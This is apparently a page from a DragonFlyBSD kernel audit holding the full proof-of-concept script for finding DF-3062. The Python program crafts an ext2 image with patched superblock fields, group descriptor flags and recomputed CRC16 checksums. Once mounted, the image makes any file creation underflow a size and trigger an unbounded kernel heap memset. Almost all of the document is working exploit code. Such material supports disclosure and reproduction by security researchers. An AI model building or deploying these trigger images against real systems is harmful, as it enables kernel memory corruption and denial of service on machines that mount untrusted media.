DragonFlyBSD Kernel Audit
DF-3062 / craft3062.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""Craft the DF-3062 trigger image.

Mount-legal geometry: bsize=4096, inode_size=1024 => ipb=4;
s_inodes_per_group patched to 4 (>= ipb, <= bsize*8 => passes
sys/vfs/ext2fs/ext2_vfsops.c:583).  ro_compat GDT_CSUM (0x10) +
EXT2_BG_INODE_UNINIT (0x1) on group 0 with nifree>0 and
s_free_inodes_count>0.

On any inode allocation (touch) ext2_nodealloccg hits
    ibytes = fs->e2fs_ipg / 8;              /* 4/8 == 0 */
    memset(bp->b_data, 0, ibytes - 1);      /* (size_t)-1 !! */
(sys/vfs/ext2fs/ext2_alloc.c:1319-1320) => unbounded kernel heap memset.

gd checksums recomputed with the kernel's ext2_crc16 (poly 0x8005
reflected, init ~0) over uuid || cg_le32 || gd[0:30] (GDT_CSUM, no 64BIT).

Usage: craft3062.py <out.img>
"""
import struct, subprocess, sys

SB = 1024

def crc16_tab():
    tab = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1
        tab.append(c)
    return tab
TAB = crc16_tab()

def crc16(buf, crc):
    for b in buf:
        crc = ((crc >> 8) ^ TAB[(crc ^ b) & 0xff]) & 0xFFFF
    return crc

def gd_csum(uuid, cg, gd):
    crc = crc16(uuid, 0xFFFF)
    crc = crc16(struct.pack('<I', cg), crc)
    crc = crc16(gd[0:30], crc)          # up to offsetof(ext4bgd_csum)
    return crc                            # store LE

def main(out):
    # 4MB image, ext2, 4096-byte blocks, 1024-byte inodes
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '4096',
                    '-I', '1024', '-N', '16', out, '1024'], check=True)
    f = open(out, 'r+b')
    f.seek(SB); sb = bytearray(f.read(1024))
    assert struct.unpack_from('<H', sb, 0x38)[0] == 0xEF53

    def p32(o, v): struct.pack_into('<I', sb, o, v)
    def p16(o, v): struct.pack_into('<H', sb, o, v)
    def u32(o): return struct.unpack_from('<I', sb, o)[0]

    bsize   = 1024 << u32(0x18)
    firstdb = u32(0x14)
    uuid    = bytes(sb[0x68:0x78])

    # --- superblock patches ---
    p32(0x10, 4)              # s_free_inodes_count = 4 (>0 for valloc gate)
    p32(0x28, 4)              # s_inodes_per_group  = 4   (>= ipb=4: legal)
    ro = u32(0x64)
    p32(0x64, ro | 0x0010)    # ro_compat |= GDT_CSUM (in ROCOMPAT_SUPP)

    # --- group descriptor 0 (block 1 for bsize 4096, first_dblock 0) ---
    gdblk = 1 if firstdb == 0 else 2
    f.seek(gdblk * bsize); gd = bytearray(f.read(32))
    struct.pack_into('<H', gd, 14, 4)          # bg_free_inodes_count = 4
    flags = struct.unpack_from('<H', gd, 18)[0]
    struct.pack_into('<H', gd, 18, flags | 1)  # EXT2_BG_INODE_UNINIT
    struct.pack_into('<H', gd, 28, 0)          # bg_itable_unused = 0
    struct.pack_into('<H', gd, 30, gd_csum(uuid, 0, gd))

    f.seek(gdblk * bsize); f.write(gd)
    f.seek(SB); f.write(sb)
    f.close()
    print(f"craft3062: bsize={bsize} ipg=4 ipb=4 ro_compat={ro|0x10:#x} "
          f"gd_flags={flags|1:#x} gd_csum={struct.unpack_from('<H',gd,30)[0]:#06x}")
    print(f"OK wrote {out}")

if __name__ == '__main__':
    main(sys.argv[1])